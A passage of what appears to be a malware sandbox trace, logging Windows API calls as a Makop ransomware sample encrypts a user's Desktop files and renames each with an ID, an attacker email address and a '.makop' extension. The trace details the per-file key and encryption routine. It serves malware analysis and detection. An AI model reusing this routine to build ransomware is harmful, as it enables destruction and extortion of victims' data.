phKey=0x657e4ac*=0x48c6fe8) returned 1 [0055.191] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.191] GetProcessHeap () returned 0x48a0000 [0055.191] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0055.191] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x657e490*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x657e490*=0x40) returned 1 [0055.191] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0055.191] WriteFile (in: hFile=0x120, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x657e4a8*=0x40, lpOverlapped=0x0) returned 1 [0055.191] WriteFile (in: hFile=0x120, lpBuffer=0x657e4b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4b0*, lpNumberOfBytesWritten=0x657e4a8*=0x4, lpOverlapped=0x0) returned 1 [0055.191] WriteFile (in: hFile=0x120, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657e4a8*=0x10, lpOverlapped=0x0) returned 1 [0055.192] WriteFile (in: hFile=0x120, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x657e4a8*=0x80, lpOverlapped=0x0) returned 1 [0055.192] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4d0 | out: lpNewFilePointer=0x0) returned 1 [0055.192] WriteFile (in: hFile=0x120, lpBuffer=0x657e4c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4c0*, lpNumberOfBytesWritten=0x657e4a8*=0x8, lpOverlapped=0x0) returned 1 [0055.192] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0055.192] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.192] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.193] ReadFile (in: hFile=0x120, lpBuffer=0x6370020, nNumberOfBytesToRead=0x11a, lpNumberOfBytesRead=0x657e4b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657e4b4*=0x11a, lpOverlapped=0x0) returned 1 [0055.193] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657e490*=0x120, dwBufLen=0x120 | out: pbData=0x6370020*, pdwDataLen=0x657e490*=0x120) returned 1 [0055.193] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.193] WriteFile (in: hFile=0x120, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657e4a8*=0x120, lpOverlapped=0x0) returned 1 [0055.193] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0055.193] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x1f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.193] SetEndOfFile (hFile=0x120) returned 1 [0055.201] GetProcessHeap () returned 0x48a0000 [0055.201] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0055.201] GetProcessHeap () returned 0x48a0000 [0055.201] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0055.201] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\desktop.ini.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 96 [0055.201] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\desktop.ini.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\desktop.ini.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0055.208] CloseHandle (hObject=0x120) returned 1 [0055.208] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9d3320, ftCreationTime.dwHighDateTime=0x1d5e355, ftLastAccessTime.dwLowDateTime=0xc72b64d0, ftLastAccessTime.dwHighDateTime=0x1d5ddfa, ftLastWriteTime.dwLowDateTime=0xc72b64d0, ftLastWriteTime.dwHighDateTime=0x1d5ddfa, nFileSizeHigh=0x0, nFileSizeLow=0xe1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EMf7n.mkv", cAlternateFileName="")) returned 1 [0055.208] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EMf7n.mkv") returned 47 [0055.208] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EMf7n.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\emf7n.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0055.209] GetProcessHeap () returned 0x48a0000 [0055.209] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0055.209] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0055.209] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4c8 | out: lpNewFilePointer=0x0) returned 1 [0055.209] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0055.209] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.209] GetProcessHeap () returned 0x48a0000 [0055.209] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0055.209] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x657e490*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x657e490*=0x30) returned 1 [0055.210] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0055.210] WriteFile (in: hFile=0x120, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x657e4a8*=0x30, lpOverlapped=0x0) returned 1 [0055.212] WriteFile (in: hFile=0x120, lpBuffer=0x657e4b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4b0*, lpNumberOfBytesWritten=0x657e4a8*=0x4, lpOverlapped=0x0) returned 1 [0055.213] WriteFile (in: hFile=0x120, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657e4a8*=0x10, lpOverlapped=0x0) returned 1 [0055.213] WriteFile (in: hFile=0x120, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x657e4a8*=0x80, lpOverlapped=0x0) returned 1 [0055.213] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4d0 | out: lpNewFilePointer=0x0) returned 1 [0055.213] WriteFile (in: hFile=0x120, lpBuffer=0x657e4c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4c0*, lpNumberOfBytesWritten=0x657e4a8*=0x8, lpOverlapped=0x0) returned 1 [0055.213] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0055.213] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.214] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.214] ReadFile (in: hFile=0x120, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe1b0, lpNumberOfBytesRead=0x657e4b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657e4b4*=0xe1b0, lpOverlapped=0x0) returned 1 [0055.215] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657e490*=0xe1b0, dwBufLen=0xe1b0 | out: pbData=0x6370020*, pdwDataLen=0x657e490*=0xe1b0) returned 1 [0055.215] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.216] WriteFile (in: hFile=0x120, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe1b0, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657e4a8*=0xe1b0, lpOverlapped=0x0) returned 1 [0055.216] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0055.216] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xe274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.216] SetEndOfFile (hFile=0x120) returned 1 [0055.277] GetProcessHeap () returned 0x48a0000 [0055.278] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0055.278] GetProcessHeap () returned 0x48a0000 [0055.278] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0055.278] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EMf7n.mkv.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 94 [0055.278] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EMf7n.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\emf7n.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EMf7n.mkv.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\emf7n.mkv.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0055.288] CloseHandle (hObject=0x120) returned 1 [0055.288] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72a8f1b0, ftCreationTime.dwHighDateTime=0x1d5e742, ftLastAccessTime.dwLowDateTime=0x84837040, ftLastAccessTime.dwHighDateTime=0x1d5d982, ftLastWriteTime.dwLowDateTime=0x84837040, ftLastWriteTime.dwHighDateTime=0x1d5d982, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EpvZemi1HVj39", cAlternateFileName="EPVZEM~1")) returned 1 [0055.288] wsprintfW (in: param_1=0x657f770, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EpvZemi1HVj39") returned 51 [0055.288] wsprintfW (in: param_1=0x657ccf0, param_2="%s\\*.*" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EpvZemi1HVj39\\*.*") returned 55 [0055.288] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EpvZemi1HVj39\\*.*", lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72a8f1b0, ftCreationTime.dwHighDateTime=0x1d5e742, ftLastAccessTime.dwLowDateTime=0x84837040, ftLastAccessTime.dwHighDateTime=0x1d5d982, ftLastWriteTime.dwLowDateTime=0x84837040, ftLastWriteTime.dwHighDateTime=0x1d5d982, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c6fe8 [0055.289] FindNextFileW (in: hFindFile=0x48c6fe8, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x72a8f1b0, ftCreationTime.dwHighDateTime=0x1d5e742, ftLastAccessTime.dwLowDateTime=0x84837040, ftLastAccessTime.dwHighDateTime=0x1d5d982, ftLastWriteTime.dwLowDateTime=0x84837040, ftLastWriteTime.dwHighDateTime=0x1d5d982, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.289] FindNextFileW (in: hFindFile=0x48c6fe8, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c0799a0, ftCreationTime.dwHighDateTime=0x1d5e20c, ftLastAccessTime.dwLowDateTime=0x32251ec0, ftLastAccessTime.dwHighDateTime=0x1d5e5c1, ftLastWriteTime.dwLowDateTime=0x32251ec0, ftLastWriteTime.dwHighDateTime=0x1d5e5c1, nFileSizeHigh=0x0, nFileSizeLow=0xc2d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="7NmotQX.mp3", cAlternateFileName="")) returned 1 [0055.289] wsprintfW (in: param_1=0x657d4f0, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EpvZemi1HVj39\\7NmotQX.mp3") returned 63 [0055.289] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EpvZemi1HVj39\\7NmotQX.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\epvzemi1hvj39\\7nmotqx.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4 [0055.289] GetProcessHeap () returned 0x48a0000 [0055.289] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0055.290] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0055.290] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657ca48 | out: lpNewFilePointer=0x0) returned 1 [0055.290] WriteFile (in: hFile=0xc4, lpBuffer=0x657ca58*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x657ca58*, lpNumberOfBytesWritten=0x657ca28*=0x7, lpOverlapped=0x0) returned 1 [0055.292] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657ca2c | out: phKey=0x657ca2c*=0x48c7028) returned 1 [0055.293] CryptSetKeyParam (hKey=0x48c7028, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.293] GetProcessHeap () returned 0x48a0000 [0055.293] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0055.293] CryptEncrypt (in: hKey=0x48c7028, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x657ca10*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x657ca10*=0x40) returned 1 [0055.293] CryptDestroyKey (hKey=0x48c7028) returned 1 [0055.293] WriteFile (in: hFile=0xc4, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x657ca28*=0x40, lpOverlapped=0x0) returned 1 [0055.293] WriteFile (in: hFile=0xc4, lpBuffer=0x657ca30*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x657ca30*, lpNumberOfBytesWritten=0x657ca28*=0x4, lpOverlapped=0x0) returned 1 [0055.294] WriteFile (in: hFile=0xc4, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657ca28*=0x10, lpOverlapped=0x0) returned 1 [0055.294] WriteFile (in: hFile=0xc4, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x657ca28*=0x80, lpOverlapped=0x0) returned 1 [0055.294] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657ca50 | out: lpNewFilePointer=0x0) returned 1 [0055.294] WriteFile (in: hFile=0xc4, lpBuffer=0x657ca40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x657ca40*, lpNumberOfBytesWritten=0x657ca28*=0x8, lpOverlapped=0x0) returned 1 [0055.294] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657ca2c | out: phKey=0x657ca2c*=0x48c7028) returned 1 [0055.294] CryptSetKeyParam (hKey=0x48c7028, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.295] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.295] ReadFile (in: hFile=0xc4, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc2d9, lpNumberOfBytesRead=0x657ca34, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657ca34*=0xc2d9, lpOverlapped=0x0) returned 1 [0055.296] CryptEncrypt (in: hKey=0x48c7028, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657ca10*=0xc2e0, dwBufLen=0xc2e0 | out: pbData=0x6370020*, pdwDataLen=0x657ca10*=0xc2e0) returned 1 [0055.298] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.298] WriteFile (in: hFile=0xc4, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc2e0, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657ca28*=0xc2e0, lpOverlapped=0x0) returned 1 [0055.298] CryptDestroyKey (hKey=0x48c7028) returned 1 [0055.298] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xc3b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.298] SetEndOfFile (hFile=0xc4) returned 1 [0055.306] GetProcessHeap () returned 0x48a0000 [0055.306] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0055.306] GetProcessHeap () returned 0x48a0000 [0055.306] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0055.306] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EpvZemi1HVj39\\7NmotQX.mp3.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0055.306] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EpvZemi1HVj39\\7NmotQX.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\epvzemi1hvj39\\7nmotqx.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EpvZemi1HVj39\\7NmotQX.mp3.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\epvzemi1hvj39\\7nmotqx.mp3.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0055.308] CloseHandle (hObject=0xc4) returned 1 [0055.309] FindNextFileW (in: hFindFile=0x48c6fe8, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f9d2ed0, ftCreationTime.dwHighDateTime=0x1d5d9a1, ftLastAccessTime.dwLowDateTime=0x9ba6c6e0, ftLastAccessTime.dwHighDateTime=0x1d5dd9d, ftLastWriteTime.dwLowDateTime=0x9ba6c6e0, ftLastWriteTime.dwHighDateTime=0x1d5dd9d, nFileSizeHigh=0x0, nFileSizeLow=0x16f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="aW5RXGBri8-Y9 kVX.pptx", cAlternateFileName="AW5RXG~1.PPT")) returned 1 [0055.309] wsprintfW (in: param_1=0x657d4f0, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EpvZemi1HVj39\\aW5RXGBri8-Y9 kVX.pptx") returned 74 [0055.309] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EpvZemi1HVj39\\aW5RXGBri8-Y9 kVX.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\epvzemi1hvj39\\aw5rxgbri8-y9 kvx.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4 [0055.309] GetProcessHeap () returned 0x48a0000 [0055.309] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0055.309] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0055.309] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657ca48 | out: lpNewFilePointer=0x0) returned 1 [0055.309] WriteFile (in: hFile=0xc4, lpBuffer=0x657ca58*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x657ca58*, lpNumberOfBytesWritten=0x657ca28*=0x8, lpOverlapped=0x0) returned 1 [0055.312] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657ca2c | out: phKey=0x657ca2c*=0x48c7028) returned 1 [0055.312] CryptSetKeyParam (hKey=0x48c7028, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.312] GetProcessHeap () returned 0x48a0000 [0055.312] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x50) returned 0x48c3f98 [0055.312] CryptEncrypt (in: hKey=0x48c7028, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3f98*, pdwDataLen=0x657ca10*=0x50, dwBufLen=0x50 | out: pbData=0x48c3f98*, pdwDataLen=0x657ca10*=0x50) returned 1 [0055.312] CryptDestroyKey (hKey=0x48c7028) returned 1 [0055.312] WriteFile (in: hFile=0xc4, lpBuffer=0x48c3f98*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x48c3f98*, lpNumberOfBytesWritten=0x657ca28*=0x50, lpOverlapped=0x0) returned 1 [0055.313] WriteFile (in: hFile=0xc4, lpBuffer=0x657ca30*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x657ca30*, lpNumberOfBytesWritten=0x657ca28*=0x4, lpOverlapped=0x0) returned 1 [0055.313] WriteFile (in: hFile=0xc4, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657ca28*=0x10, lpOverlapped=0x0) returned 1 [0055.313] WriteFile (in: hFile=0xc4, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x657ca28*=0x80, lpOverlapped=0x0) returned 1 [0055.313] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657ca50 | out: lpNewFilePointer=0x0) returned 1 [0055.314] WriteFile (in: hFile=0xc4, lpBuffer=0x657ca40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x657ca40*, lpNumberOfBytesWritten=0x657ca28*=0x8, lpOverlapped=0x0) returned 1 [0055.314] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657ca2c | out: phKey=0x657ca2c*=0x48c7028) returned 1 [0055.314] CryptSetKeyParam (hKey=0x48c7028, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.314] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.314] ReadFile (in: hFile=0xc4, lpBuffer=0x6370020, nNumberOfBytesToRead=0x16f78, lpNumberOfBytesRead=0x657ca34, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657ca34*=0x16f78, lpOverlapped=0x0) returned 1 [0055.364] CryptEncrypt (in: hKey=0x48c7028, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657ca10*=0x16f80, dwBufLen=0x16f80 | out: pbData=0x6370020*, pdwDataLen=0x657ca10*=0x16f80) returned 1 [0055.365] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.365] WriteFile (in: hFile=0xc4, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x16f80, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657ca28*=0x16f80, lpOverlapped=0x0) returned 1 [0055.366] CryptDestroyKey (hKey=0x48c7028) returned 1 [0055.366] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x17064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.366] SetEndOfFile (hFile=0xc4) returned 1 [0055.374] GetProcessHeap () returned 0x48a0000 